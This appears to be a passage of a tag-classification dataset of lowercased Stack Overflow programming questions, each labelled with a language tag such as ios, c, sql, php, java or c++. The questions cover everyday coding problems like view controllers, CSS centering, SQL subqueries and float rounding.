[saloonlabel setfont:[uifont fontwithname:@ vevey  size:48]];     [headerholder addsubview:saloonlabel];      //creating and adding book appointment button     uibutton *bookappointmentbutton=[uibutton buttonwithtype:uibuttontypesystem];     nslog(@ %f   self.view.frame.size.height-97.5);     bookappointmentbutton.frame=cgrectmake(self.view.frame.origin.x  self.view.frame.size.height-97.5  216  53);     [bookappointmentbutton setbackgroundimage:[uiimage imagenamed:@ bg-left.png ] forstate:uicontrolstatenormal];     [bookappointmentbutton settitle:@ book appointment  forstate:uicontrolstatenormal];     [bookappointmentbutton addtarget:self action:@selector(bookappointmentaction) forcontrolevents:uicontroleventtouchupinside];     [bookappointmentbutton settitlecolor:[uicolor graycolor] forstate:uicontrolstatenormal];     [headerholder addsubview:bookappointmentbutton];       uibutton *callbutton=[uibutton buttonwithtype:uibuttontypesystem];     callbutton.frame=cgrectmake(216  self.view.frame.size.height-97.5  self.view.frame.size.width-216  53);     [callbutton setbackgroundimage:[uiimage imagenamed:@ bg-right.png ] forstate:uicontrolstatenormal];     [callbutton addtarget:self action:@selector(callbuttonaction) forcontrolevents:uicontroleventtouchupinside];     [callbutton settitle:@ call  forstate:uicontrolstatenormal];     [callbutton settitlecolor:[uicolor graycolor] forstate:uicontrolstatenormal];     [headerholder addsubview:callbutton];     [self getsalondetails];      loading=[[uiimageview alloc] init];     loading.frame=cgrectmake(130 200 40 36);     [loading setbackgroundcolor:[uicolor clearcolor]];     loading.animationimages = [nsarray arraywithobjects:                                [uiimage imagenamed:@ spinner-1.png ]                                 [uiimage imagenamed:@ spinner-2.png ]                                 [uiimage imagenamed:@ spinner-3.png ]                                 [uiimage imagenamed:@ spinner-4.png ]                                 [uiimage imagenamed:@ spinner-5.png ]                                 [uiimage imagenamed:@ spinner-6.png ]                                 [uiimage imagenamed:@ spinner-7.png ]                                 [uiimage imagenamed:@ spinner-8.png ] [uiimage imagenamed:@ spinner-9.png ] nil];      loading.animationduration = 1.0f;     loading.animationrepeatcount = 0;     [loading startanimating];     [self.view addsubview:loading];      loadingtext = [[uilabel alloc]initwithframe:cgrectmake(90  240  200  40)];     loadingtext.text = @ loading salon ;     [loadingtext setfont:gothic_font(22)];     [loadingtext settextcolor:[uicolor whitecolor]];     [self.view addsubview:loadingtext];       articles=[model getarticles]; }  - (void) getsalondetails{      [[mydatamodel shareddatamodel] getsalondetails]; } </code></pre>   this is the delegate method which is trying to set some fields hidden.  this delegate is called when an <code>nsurlsession</code> call completes successfully. the control comes here as per logs but nothing gets hidden. when i add a breakpoint and inspect the fields  every object is shown as <code>nil</code>. if this class is used as the main view controller  i ve found everything works. on making it a child view  nothing works.   <pre><code>-(void)salondetailsrecieveddelegate:(bool)success andstatuscode:(int)statuscode{      [loading stopanimating];     self.loading.hidden = yes;     self.loadingtext.hidden = yes;     saloonlabel.text = @ this is text ;     if(success){         //     } } </code></pre>,ios
how can i transform type of variables in imp  how can i transform type of variables when i try to use imp    <pre><code>person.m -(void)prifunc:(nsstring *)str{     nslog(@ %@  str); } </code></pre>   i use imp get prifunc then i want to implement the function   <pre><code>main.m  ... imp imp = method_getimplementation(method);  typedef void(*fn)(id sel char *); fn f = (fn)imp; f(person sel  jason ); </code></pre>   the question is the type of variable str in <em>person.m</em> is <code>nsstring</code> but the type of variable in pointer fn is <code>char*</code> . though build succeeded  the program will give <code>(lldb)</code> error.,objective-c
how to center video tag in a div tag   i cannot seem to position this video tag with the usual  margin: 0px auto 0px auto;  help lads! thanks for looking into this!    <pre><code>#wrapper #trailer {     position: absolute;     z-index: 3;     margin-top: 55px;     width: 987px;     height: 620px;     background-color: #000;     margin-right: auto;     margin-bottom: 0px;     margin-left: auto;     border: 1px solid #009; } #wrapper #trailer #close {     position: absolute;     z-index: 2;     top: 20px;     right: 231px;     cursor: pointer; } #wrapper #trailer video {         margin-top: 0px;     margin-right: auto;     margin-bottom: 0px;     margin-left: auto;     border: 1px solid #009; } </code></pre>   and html and explaining my scenario as requested :    <pre><code>&lt;div id= trailer &gt; &lt;img id= close  src= images/close.png  alt= close  /&gt; &lt;div id= video &gt; &lt;video controls  autoplay= autoplay  poster= video/trailer.jpg  width= 600       onclick= if(/android/.test(navigator.useragent))this.play(); &gt; &lt;source src= video/trailer.mp4  type= video/mp4  /&gt; &lt;source src= video/trailer.webm  type= video/webm  /&gt; &lt;source src= video/trailer.ogv  type= video/ogg  /&gt; &lt;embed src= video/flashfox.swf  width= 600  height= 480   flashvars= autoplay=true&amp;amp;controls=true&amp;amp;loop=true&amp;amp;src=trailer.mp4  allowfullscreen= true  wmode= transparent  type= application/x-shockwave-flash  pluginspage= http://www.adobe.com/go/getflashplayer_en  /&gt; &lt;/video&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>,css
serialization vs assocation  is serialization an appropriate solution to the following setup     i have a client model and would like to keep track of a sets of dates for each client.   <pre><code>class client &lt; activerecord::base   attr_accessible :name  :contact_dates  :recertification_dates   serialize :contact_dates   serialize :recertification_dates end </code></pre>   it seems like overkill to use child models that would only hold a single date in each record so this seems appropriate.    however  the thing i m worried about is the performance implications when i would like to report on this data in the future. is de-serialization going to make running reports take forever  i m not expecting more than a few thousand clients and approx. 20 dates per serialized field.    thanks!,ruby-on-rails
displaying records with a date at least one day greater then or = to today  i have a field in a table called datef. it displays dates as follows: 2013-11-25 08:30:00.000. the field is used to show appointment dates. what i need to show are future appointment dates from today or = to today. (getdate) for some reason this is not working for me today. appreciate the help. thank you.,sql
how to get currently logged in windows user priveleges in asp.net web application  i have  a web application. i want to check whether the curently logged in user has admin privileges on the client machine which he uses to log into the web application    i have tried using the following methods   <pre><code>          httpcontext.current.user.identity.name;           httpcontext.current.request.logonuseridentity.name;           httpcontext.current.request.servervariables[ remote_user ];           httpcontext.current.user.isinrole( administrator ); </code></pre>   but everything is returning the network service account details   but i neeed the client s privilege information    thanks  sherin,asp.net
how to toggle a variable in a loop  variable <code>i</code> toggles between <code>2</code> and <code>3</code> and multiplied into <code>a</code>  as in the following example:   <pre><code>a=2; a=a*i // a=2*2=4    i=2 a=a*i // a=4*3=12   i=3 a=a*i // a=12*2=24  i=2 a=a*i // a=24*3=72  i=3 </code></pre>   which goes on as long as <code>a</code> is &lt; <code>1000</code>.    how can i give the <code>i</code> two values sequentially as shown in the example,c++
how to return true if a word is a so called  token   so i have an input file that is opened as a read file and is a mad-lib  also a function that copies the mad-lib into an output (write) file. a sample sentence in the input file is  my sister is a very &lt;adjective&gt; person.  the token word is the word inside the  &lt;>  so how would i make a boolean function that returns true if the word is a token  could i use fscanf    <pre><code>file* open_file(char prompt[]  char mode[]); bool istoken(char word[]); void process_file(file* in  file* out);   int main(int argc  const char * argv[]) {     file* in = null;     file* out = null;      printf( mad-libs text processor\n );     printf( the program will open a mad-libs file  ask you to fill various words  and produce a funny story.\n );      in = open_file( enter mad-lib file name:\n    r );     out = open_file( enter file name for resulting story:\n    w );     process_file(in  out);      fclose(in);     fclose(out);     return 0; }  /* open_file = prompts user for file name &amp; and attempts to open it  if it fails it prompts the user again. */ file* open_file(char prompt []  char mode[]) {     char filename[255];     file* in;      do {         printf( %s   prompt);         scanf( %s   filename);          in = fopen(filename  mode);          if (in == null) {             printf( unable to open file: %s. try again!\n   filename);         }     } while(in == null);     return in; } /* process_file = processes entire input file and writes it to output file */ void process_file(file* in  file* out) {     char content[max_len];      while(fgets(content  max_len  in) != null) {         fprintf(out   %s   content);     } } /* istoken = returns true if word is a token */ bool istoken(char word[]) {                 //use fscanf maybe     char target =  &lt; ;        return true; } </code></pre>,c
elegant way of grouping attributes  i want to group attributes of instances of a class  so that it would be easy to iterate through all the attributes belonging to a group. the obvious answer would be to put all these into a list or dict  but then i wouldn t be able to access them as attributes of my object  and i would prefer that.    some code should make it clear what i want. here i actually have a list and real attributes.   <pre><code>class vectors(object):      def __init__(self  v1  v2  v3):         self.v1 = v1         self.v2 = v2         self.v3 = v3         self.rotatable = [ v2    v3 ]      def rotate(self  angle):         for v in self.rotable:             new_vector = do_rotate(getattr(self  v)  angle)             setattr(self  v  new_vector)  class morevectors(vectors):     def __init__(self  v4  *args  **kwargs):         super(morevectors  self).__init__(*args  **kwargs)         self.v4 = v4         self.rotable.append( v4 ) </code></pre>   now when calling <code>rotate()</code> it know what vectors to rotate and i can add more vectors to that list dynamically. however  while this does its job  it doesn t look that elegant to me as i have to manage the list by myself.    is there some simpler way to write this  i thought about storing all attributes in a dictionary  where each group is a key  and then use <code>properties()</code> to let me access all  items of the dictionary as attributes. that would be clean enough for me  but i don t know how to set properties dynamically inside a method.,python
how to segue between two views involving a tab bar  table view and navigation controller   i have a tab bar controller with two tabs. the first tab displays a table view of things of type a. if you click on a cell a view of type a is pushed onto a navigation stack. as you would expect  this view has a back button that pops the view from the navigation stack and displays the table view of things of type a.    the second tab displays a table view of things of type b. if you click on a cell a view of type b is pushed onto a navigation stack. again  as you would expect  this view also has a back button that pops the view from the navigation stack and displays the table view of things of type b.    the type a view also has a button that conceptually converts the type a thing to a type b thing. visually  the type a view is replaced with a view of type b. behind the scenes  i need to pop the type a view off of the navigation stack  change tabs to the table things of type b and pop a type b view controller onto a navigation stack so that the type b view s back button will take the user back to the table of things of type b.    my first idea for implementing this was to link the button on my type a view to my implementation of the tab bar controller  which pops off the existing type a view  changes tabs to the list of type b things and then pushes type b view onto the navigation stack. but this creates an otherwise unnecessary reference to the tab bar controller from the type a view.    is there a better way to do this  perhaps with a custom segue,ios
twice disconnect: how would you deal with this situation  i have code which checks if smart card is inserted or removed:   <pre><code>void checkcard(void *p) { //... while(true) {     if (readerstate1.dweventstate &amp; scard_state_empty)     {      // smart card removed  call disconnect      disconnectcard(cardhandle);      }     else     {      // smart card inserted do smth else     }   }  } </code></pre>   in <code>main</code> i call above thread:   <pre><code>int main() { ...     if(establichcontext(_hsc) == true)         {              // start thread              _beginthread(checkcard  0  null);              // sleep             sleep(1000000); // or some other logic which halts program for some time              // disconnect from card and release context             disconnectcard(cardhandle);             releasecontext(_hsc);          } } </code></pre>   my problem is if smart card was already removed - by the first code snippet (<code>checkcard</code> function)  calling <code>disconnectcard</code> - second time as in <code>main</code>  fails. how would you deal with such situation     <code>disconnectcard</code> - just uses scarddisconnect method inside )<a href= http://msdn.microsoft.com/en-us/library/windows/desktop/aa379475(v=vs.85).aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/windows/desktop/aa379475(v=vs.85).aspx</a>),c++
creation of event in mysql  can any one help me how to create an event in mysql so that it has to be executed for every 10 seconds     i have tried with the following code but it is inserting only once but when i see whether the event is running of not in process list it is in running state   <pre><code>   create event e_insert on schedule at  timestamp  + interval 1 second do insert into  table_name  values (now());     </code></pre>,mysql
the microsoft.jet.oledb.4.0 provider is not registered on the local machine  i had developed a web application using visual studio 2010 which one of the function is to import excel file(.xls).however when i deployed the web application over the server(windows server 2003) the following error will occurred:   <blockquote>     the microsoft.jet.oledb.4.0 provider is not registered on the local machine .  </blockquote>   this problem doesn t exist when i deployed it in windows 7.    please advice me regarding how to solve this problem.thanks.,asp.net
xcode 5 calling class with prepareforsegue  i have a tableview that is within a container view. when the user selects any of the rows  a method is called in the parent controller  which tells the parent controller to perform a segue. however  i am unable to figure out why it doesn t work. the code gets called from the didselectrow -function in the tableview. the method does perform  but it gives me an error about no segue with that identifier.     however  when i call the method(listjobsofsite) from within the parent view controller it works.    (tableview)   <pre><code>   -(void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {     [self.jobvc listjobsofsite:@ locpwn ]; } </code></pre>   parent view controller   <pre><code>-(void)listjobsofsite:(nsstring *)site {     [self performseguewithidentifier:@ jobsegue2  sender:nil]; } </code></pre>   edit: the segue is between view controller 1  and view controller 2. view controller 1 holds a container view  which again holds a table view controller. this tableview controller should tell view  controller 1 to segue into view controller 2.    edit 2: screenshot <a href= http://tinypic.com/r/30x7dr9/8  rel= nofollow >http://tinypic.com/r/30x7dr9/8</a>,ios
printf with unmatched format and parameters  i m trying to understand the printf function.    i know after i read about this function that the c compiler automatically casts all the parameters which are smaller than int like chars and shorts to int. i also know that long long int (8 bytes) is not casted and pushed to the stack as it is.    so i wrote this simple c code:   <pre><code>#include &lt;stdio.h&gt;  int main() {     long long int a = 0x4444444443434343ll;      // note that 0x44444444 is 4 times 0x44 which is d in ascii.     // and 0x43434343 is 4 times 0x43 which is c in ascii.      printf( %c %c\n   a);      return 0; } </code></pre>   that creates the a variable whose size is 8 bytes and pushes it to the stack. i also know that the printf loops through the format string and when it sees %c it will increment the pointer by 4 (because it knows that a char was converted to int - example below)    something like:  char c = (char) va_arg(list  int) -->     (*(int *)((pointer += sizeof(int)) - sizeof(int)))    as you can see it gets the 4 bytes when the pointer points  and increment it by 4    <strong>my question is:</strong>    in my logic  it should print on little endian machines c d this is not what happens and i ask why  im sure some of you know more than me about the implementation and thats why i ask his question.    edit: the actual result is c with some garbage character follows it.    i know some might say that its undefined behavior - it really depends on the implementation and i just want to know the logic of the implementation..,c
using result of select in another select  i m trying to do question 9 here:<br> <a href= https://sqlzoo.net/wiki/select_within_select_tutorial  rel= nofollow noreferrer >https://sqlzoo.net/wiki/select_within_select_tutorial</a>      i currently have the code:   <pre><code>  select continent  sum(y.population) as population     from world as y     group by(y.continent)     having sum(y.population) &lt; 250000000; </code></pre>   this returns the continents with a sum of their respective populations less than 250000000. i know i need to encase this in another select to make use of the continent returned  but don t know how to do this <br> i tried something like this:     <pre><code>select a.continent from world a inner join(   select b.continent  sum(b.population) as population   from world b group by(b.continent) having sum(b.population) &lt; 250000000 ) on a.continent = b.continent;  </code></pre>   ^this was to try and get a single list of the continents which i could then encase in another select to iterate through and print the country names  although i feel there must be a way to directly iterate through the continent column from the first example       this is likely something pretty trivial  but regardless any help would be great,sql
multiple substrings in query  my end goal is to get e-mail addresses from a database. however  my first query retrieves id s that correspond to the e-mail addresses in a different table. however  the query returns the id s in the following way:   <pre><code>1:foo 2:foo 3:foo ... </code></pre>   the way to retrieve the e-mails is to do   <pre><code>select email from emails where id in (select id from other_table) </code></pre>   however  since the ids from <code>other_table</code> are in the <code>id:foo</code> format and the e-mail address table has them without <code>:foo</code>  i don t get the e-mails back.    i also tried    <pre><code>select email from subscribers where concat(id  :foo ) in (select id from other_table) </code></pre>   however that doesn t work. i think i need to be able to retrieve the id s from <code>other_table</code> without <code>:foo</code> to make this work. how can i remove all <code>:foo</code> s from the results,mysql
in asp.net  on button click  how to open a download dialog  and then redirect the user to another page   i have a button. when the user clicks it  i want to trigger a download dialog box  and then redirect the user to another page.    however  i m having problems getting the download and redirect to run together. once the download dialog box is shown  execution on the rest of the code seems to end:   <pre><code>sub displaydownloaddialog(byval filepath as string)     dim filename as string = path.getfilename(filepath)     response.contenttype =  application/octet-stream      response.addheader( content-disposition    attachment; filename=    &amp; filename &amp;     )     response.writefile(filepath) end sub </code></pre>   i tried to add a refresh to the header  but it still doesn t work. i also tried javascript (but not using window.open...since some browsers block that)  but i can t get a redirect to work.    any ideas  i really appreciate the help.,asp.net
processing a formula comprised of array keys in php  i would like to write a function that will process formulas that are comprised of array keys.  for example  (1+3+5+7-8)*9 or (1-3+5)/6 and etc  any suggestions     edit: i think it s better to think of this as an excel grid  with field coordinates being the array keys and one of the fields being the formula field (e.g. a1+a2-b2*b3),php
java read words from file  and ask if it is an anagram  i am trying to create a code in java  which is going to read two words from anagram.txt file  and see if those two words are anagrams. i am getting an error <code>java.lang.nullpointerexception</code>. i am not sure what am i doing wrong  so any suggestions  i guess that <code>o2.anagram()</code> needs to have some variables  but i want it to call strings from txt file... i am a beginner  so don t laugh at me :) thank you!    this is a class that reads from txt file:   <pre><code>import java.io.file; import java.util.scanner;  public class klasa {   public scanner x;  string s1;  string s2;   public void openfile(){      try{      x = new scanner(new file( c:\\anagram.txt ));      }      catch(exception e){          system.out.println( error );      }  }   public void readfile(){      while (x.hasnext()){          string s1 = x.next();          string s2 = x.next();                 }  }   public void closefile(){      x.close();  }    } </code></pre>   this is a class that should compare two words from <code>anagram.txt</code> and see if they are anagrams:   <pre><code>import java.util.*; import java.io.*;  public class isanagram extends klasa{  public void anagram(){       boolean status = true;       if(s1.length() != s2.length()){          status = false;      }      else{          char[] s1array = s1.tolowercase().tochararray();          char[] s2array = s2.tolowercase().tochararray();           arrays.sort(s1array);          arrays.sort(s2array);           status = arrays.equals(s1array  s2array);      }                       //output                       if(status)             {                 system.out.println(s1+  and  +s2+  are anagrams );             }             else             {                 system.out.println(s1+  and  +s2+  are not anagrams );             }      }  } </code></pre>   and this is main class:   <pre><code>    public class mainclass{       public static void main(string[] args){                      klasa o1 = new klasa();              o1.openfile();         o1.readfile();               o1.closefile();          isanagram o2 = new isanagram();                  o2.anagram();             }          } </code></pre>,java
storing a string in a integer variable in c <pre><code>#include &lt;stdio.h&gt; int main() {     int a =  hi ;     char b =  f ;      int c = a + b;      printf( %d  a);        /* (1) */     printf( %d  c);        /* (2) */  } </code></pre>   how come the output of the instruction (1) is 18537  how is it storing the value in terms of ansi standard     instruction (2) is clear since we are basically adding 70 to 18537 which gives 18607     can some one elaborate on how the value is being stored in the integer variable in terms of string,c
nav tag  the best way to redirect to another page  i am a little bit newbie in the web development.    i’m creating a simple web page with a nav tag navigation  but i’m not pretty sure which is the best way to redirect to another pages.    for example i have the menu: home  services  contact and when you click in one of them you will go to a page with the properly information.    i have seen this structure:    <pre><code>&lt;nav&gt;   &lt;a href= /html/ &gt;html&lt;/a&gt; |   &lt;a href= /css/ &gt;css&lt;/a&gt; |   &lt;a href= /js/ &gt;javascript&lt;/a&gt; |   &lt;a href= /jquery/ &gt;jquery&lt;/a&gt; &lt;/nav&gt;  </code></pre>   but where do you go   to another page or a section on the same page     i would like see the same original page and when you click in one item of the menu only changes the bottom of the web page.     so what way do you recommend to do this   i hope you could help me  thank you so much.,html
edit specific id from url in angular  how can i edit inputs from this id :        <img src= https://i.stack.imgur.com/1gkbr.png  alt= enter image description here >    i added <code>&lt;a href= #/edit data={{data.id}} &gt;edit&lt;/a&gt;</code> in home template and pass the id to edit.html .      how can i edit input from this id      <strong>edit.html</strong>     <pre><code>&lt;form&gt;     &lt;input type= text  name= subject  placeholder= name  ng-model= subject /&gt;      &lt;input type= button  name= edit  ng-click= edit(data.id)  value= edit /&gt; &lt;/form&gt; </code></pre>,angularjs
converting json result as an array  i have this json data :   <pre><code>array: {     data = (                 {              com_id  = 1;              com_name  = apple;         }                  {              com_id  = 2;              com_name  =  google ;         }                 {              com_id  = 3;              com_name  =  yahoo ;         }     );     message =  data found ;     response = success; } </code></pre>   here s my code to fetch that data :   <pre><code>    nsurl * url = [[nsurl alloc] initwithstring:@ https://jsonurlhere.com ];      // prepare the request object     nsurlrequest *urlrequest = [nsurlrequest requestwithurl:url                                                 cachepolicy:nsurlrequestreturncachedataelseload                                             timeoutinterval:30];      // prepare the variables for the json response     nsdata *urldata;     nsurlresponse *response;     nserror *error;      // make synchronous request     urldata = [nsurlconnection sendsynchronousrequest:urlrequest                                     returningresponse:&amp;response                                                 error:&amp;error];      // construct a array around the data from the response     nsarray* object = [nsjsonserialization                        jsonobjectwithdata:urldata                        options:0                        error:&amp;error];      nslog(@ array: %@   object); </code></pre>   now  i want to use that json data into my pickerview. how to change that json data into array so that i can load it to replace my existing array (<code>self.namecompany</code>)    <pre><code>- (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib.     self.namecompany = @[@ apple   @ google   @ yahoo ]; } </code></pre>,objective-c
i keep getting error  expected identifier  <pre><code>@implementation secondviewcontroller  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib.     webview.userinteractionenabled = true;     [webview loadrequest: [[nsurlrequest alloc] initwithurl: [[nsurl alloc] initwithstring: [[[@ http//:www.mobile-boome.weebly.com/boome-webviwer.html  ]]]; }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  @end </code></pre>   the problem is in line 8: xcode says expected identifier but i cannot understand what the problem is so i cannot fix it! thanks,objective-c
where to get really all-in-one .net 3.5 package   <a href= http://www.microsoft.com/downloads/details.aspx familyid=ab99342f-5d1a-413d-8319-81da479ab0d7&amp;displaylang=en  rel= nofollow noreferrer >http://www.microsoft.com/downloads/details.aspx familyid=ab99342f-5d1a-413d-8319-81da479ab0d7&amp;displaylang=en</a>    there we can see:   <blockquote>    full package<br>   to download the full package  rather than the bootstrapper  click on the link below:   .net framework 3.5 service pack 1 (full package)  </blockquote>   but this  full  package still requires 50mb to download over the internet.    is it possible to get the really-full package to install on the desktop that haven t internet at all,.net
rails error  undefined method `model_name  for nilclass:class   i am very new to rails and am trying to use &lt;%= render  form  %> to include this form on posts/index   <pre><code>&lt;%= form_for(@post) do |post_form| %&gt; &lt;% if @post.errors.any  %&gt; &lt;div id= errorexplanation &gt; &lt;h2&gt;&lt;%= pluralize(@post.errors.count   error ) %&gt; prohibited this post from being saved:&lt;/h2&gt; &lt;ul&gt; &lt;% @post.errors.full_messages.each do |msg| %&gt;   &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;   &lt;% end %&gt;   &lt;/ul&gt;   &lt;/div&gt;   &lt;% end %&gt;  &lt;%= post_form.label :name %&gt;: &lt;%= post_form.text_field :name %&gt; &lt;br/&gt; &lt;%= post_form.label :subject %&gt;: &lt;%= post_form.text_field :subject %&gt;  &lt;br/&gt; &lt;%= post_form.label :email %&gt;: &lt;%= post_form.text_field :email %&gt;  &lt;br/&gt; &lt;%= post_form.label :content %&gt;: &lt;%= post_form.text_area :content %&gt;  &lt;%= post_form.submit %&gt; </code></pre>      the error caused says undefined method `model_name  for nilclass:class,ruby-on-rails
check which url you re on right now  i want to check which url someone is currently on. for example:   <pre><code>if(url=index.php p=contact) {     echo the code i want to run   } else {     do nothing  } </code></pre>   so basically  i want to run a block of code when the user is on <code>index.php p=contact</code>,php
adding user on page refresh   hey guys i am learning php and inserting records into my database.    i am confused as to why on page refresh it keeps adding records into my database before i submit the form    <pre><code>    &lt; php  include  core/functions/connect.php ;  // escape variables for security $username = mysqli_real_escape_string($con  $_post[ username ]); $password = mysqli_real_escape_string($con  $_post[ password ]); $first_name = mysqli_real_escape_string($con  $_post[ first_name ]); $last_name = mysqli_real_escape_string($con  $_post[ last_name ]); $email = mysqli_real_escape_string($con  $_post[ email ]);  $sql= insert into users (username  password  first_name  last_name  email ) values ( $username    $password    $first_name    $last_name    $email ) ;     if(isset($_post[ submit ])) {  } echo  1 record added ;   &gt;     &lt;form action=   method= post &gt;     &lt;ul&gt;         &lt;li&gt;             username*:&lt;br&gt;             &lt;input type= text  name= username &gt;         &lt;/li&gt;         &lt;li&gt;             password*:&lt;br&gt;             &lt;input type= password  name= password &gt;         &lt;/li&gt;         &lt;li&gt;             password again*:&lt;br&gt;             &lt;input type= password  name= password_again &gt;                 &lt;/li&gt;         &lt;li&gt;             first name*:&lt;br&gt;             &lt;input type= text  name= first_name &gt;         &lt;/li&gt;            &lt;li&gt;             last name:&lt;br&gt;             &lt;input type= text  name= last_name &gt;         &lt;/li&gt;          &lt;li&gt;             email address*:&lt;br&gt;             &lt;input type= text  name= email &gt;         &lt;/li&gt;           &lt;li&gt;         &lt;input type= submit  name= submit  value= register &gt;         &lt;/li&gt;                     &lt;/ul&gt; &lt;/form&gt; </code></pre>   i guess i am missing something here but a pointer would be great so i can understand where i am going wrong     edit: i have tried to resolve the issue by the suggest methods below but yes it has stopped inserting on refresh but not submitting data,php
objective c group array  i have array like this:   <pre><code>{     tonumber = +79995840405;     type = 9; } {     tonumber = +79995840405;     type = 65; } {     tonumber = +79995840405;     type = 9; } {     tonumber = +79995840405;     type = 65; } </code></pre>   how can i group items by tonumber &amp; type  thanks,objective-c
truncation error when i try to create a array of values  i want a create a array of values with a interval of 0.2 i used the code :   <pre><code>public class trialcode {  public static void main(string[] args) {      float a = -1.0f  b = 0.2f;      for (int i = 0; i &lt;10; i++) {         a = a + b;         system.out.println(a);      }  }  } </code></pre>   now the output that i am getting is :   <pre><code>-0.8 -0.6 -0.40000004 -0.20000003 -2.9802322e-8 0.19999997 0.39999998 0.59999996 0.79999995 0.99999994 </code></pre>   whereas the output i want is    <pre><code>-0.8  -0.6  -0.4  -0.2  0  0.2  0.4  0.6  0.8  1.0 </code></pre>   what should i do,java
php curl warning during curl_multi_add_handle  my php code   <pre><code>    $urlarray = array( http://firsturl.com    http://secondurl.com );     $nodecount = count($urlarray);     $chcontainter = array();     $mh = curl_multi_init();     for($i = 0; $i &lt; $nodecount; $i++) {         $chcontainter[$i] = curl_init();         curl_setopt($chcontainter[$i]  curlopt_url  $urlarray[$i]);         curl_setopt($chcontainter[$i]  curlopt_header  0);         curl_setopt($chcontainter[$i]  curlopt_returntransfer 1);         curl_multi_add_handle($mh $chcontainter[$i]);     }  </code></pre>   is generating the following warning   <blockquote>    warning: (null)(): 4 is not a valid   curl handle resource in unknown on   line 0        warning: (null)(): 5 is not a valid   curl handle resource in unknown on   line 0  </blockquote>   i did some debugging and found out the warning was generated when i try to add curl handle to the $mh.    please help. thanks.,php
ruby on rails: how do i sort with two columns using activerecord   i want to sort by two columns  one is a datetime (<code>updated_at</code>)  and the other is a decimal (price)    i would like to be able to sort first by updated_at  then  if multiple items occur on the same day  sort by price.,ruby-on-rails
javascript to validate date  below is the function to validate date. the should be between <strong>today - 15</strong> and <strong>today</strong>. can some one refactor this code.    phpdatetoday is a string in the form <strong>2010 dec 3</strong>   <pre><code>function validate(page  phpdatetoday) {     var i = 0;     var fields    = new array();     var fieldname = new array();      var day   = document.getelementbyid( date_of_inspection_day ).value;     var month = document.getelementbyid( date_of_inspection_month ).value;     var year  = document.getelementbyid( date_of_inspection_year ).value;     var datesubmitted = new date(year month-1 day);      var daysinmonth = new array(31 29 31 30 31 30 31 31 30 31 30 31);      if(month.length&lt;1 )     {         alert( please enter a valid month );         return false;     }     if(year.length != 4 )     {         alert( please enter a valid year );         return false;     }      if (day.length&lt;1 || day &gt; daysinmonth[month-1] || month == 2 &amp;&amp; year%4 != 0 &amp;&amp; day &gt;28 )     {         alert( please enter a valid day );         return false;     }      var datetoday  = new date(phpdatetoday);     var day15      = datetoday.getdate()-15; // 15 days old     var month15    = datetoday.getmonth();     var year15     = datetoday.getfullyear();      if(day15 &lt; 0 &amp;&amp; month15 ==1)     {         month15 = 12;         year15  = year15-1;     }     else if(day15 &lt; 0 &amp;&amp; month15 !=1)     {         month15 = month15-1;     }      day15   = daysinmonth[month15-1] + day15;      var date15dayold  = new date(year15 month15 day15);      if(date15dayold &gt; datesubmitted )     {         alert( your date is older than 15 days );     }      else if(datetoday &lt; datesubmitted )     {         alert( invalid date );     } } </code></pre>,javascript
parse pdf to get the boudaries of image in the pdf page in objective-c  i have an ipad app that displays pdf pages.i need to add annotations on the image (if exists on the pdf page) for which i need the coordinates at which the image is situated in the pdf page.i am able to get the image data from the xobject and the image width and height but i also need the x and y coodrinate of the image.any idea about how to obtain the coordinates of image by parsing pdf page,objective-c
iphone  page curl  icon is disappered in ios 5  does not sdk page curl icon anymore  page curl icon is used on native map app (<a href= http://www.filemaker.com/products/bento/iphone/1/help/en/images/icon_page_curl.png  rel= nofollow >http://www.filemaker.com/products/bento/iphone/1/help/en/images/icon_page_curl.png</a>)    i can assign page curl icon in ios 5  but icon does not appear on tool bar.  this icon is appear in under ios 5.  do you have any idea of this,iphone
c++ how do iterators for non-contiguous containers like deque find the next element  following from this <a href= https://stackoverflow.com/questions/1436020/c-stl-containers-whats-the-difference-between-deque-and-list >here</a>.    i am wondering how containers that are non-contiguous and are not linked lists actually know where to find the next element given that it is not guaranteed to come right after this element  is there an extra table saying the first x chunks of the deque are located at this starting point  the next y chunks are starting over there  and so on,c++
no match for  operator<<  (operand types are  std::fstream {aka std::basic_fstream<char>}  and  word )  i got this error: d:\backup\tudien\testwrite.cpp    [error] no match for  operator&lt;&lt;  (operand types are  std::fstream {aka std::basic_fstream}  and  word )    please help me to fix this problem. thank you very much!    here is the code:   <pre><code>#include &lt;fstream&gt; #include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;ctype.h&gt; #include&lt;conio.h&gt; #include&lt;stdlib.h&gt; using namespace std; struct word { char word[10]; char mean[20];   }; word word; void writedatatofile() { std::fstream fileoutput( d:/data.txt   std::ios::out | std::ios::binary);   if (fileoutput.fail()) {     std::cout &lt;&lt;  cannot open file at   &lt;&lt;  d:/data.txt  &lt;&lt; std::endl;     return; }          word a;         strcpy(a.mean word.mean);         strcpy(a.word word.word);         fileoutput &lt;&lt; a &lt;&lt; endl;     }  void readdatafromfile() { std::ifstream fileinput( d:/data.txt );  if (fileinput.fail()) {     std::cout &lt;&lt;  cannot open file at   &lt;&lt;  d:/data.txt  &lt;&lt; std::endl;     return; }  while (!fileinput.eof()) {     char line[255];     fileinput.getline(line  255);     std::cout &lt;&lt; line &lt;&lt; std::endl; } }  int main() {    strcpy(word.word  apple ); strcpy(word.mean  trai tao ); writedatatofile(); readdatafromfile(); return 0; } </code></pre>,c++
click of button opens web browser   how can i make it so when i click a button it will open a web browser and open the html file within the project     thanks.,c#
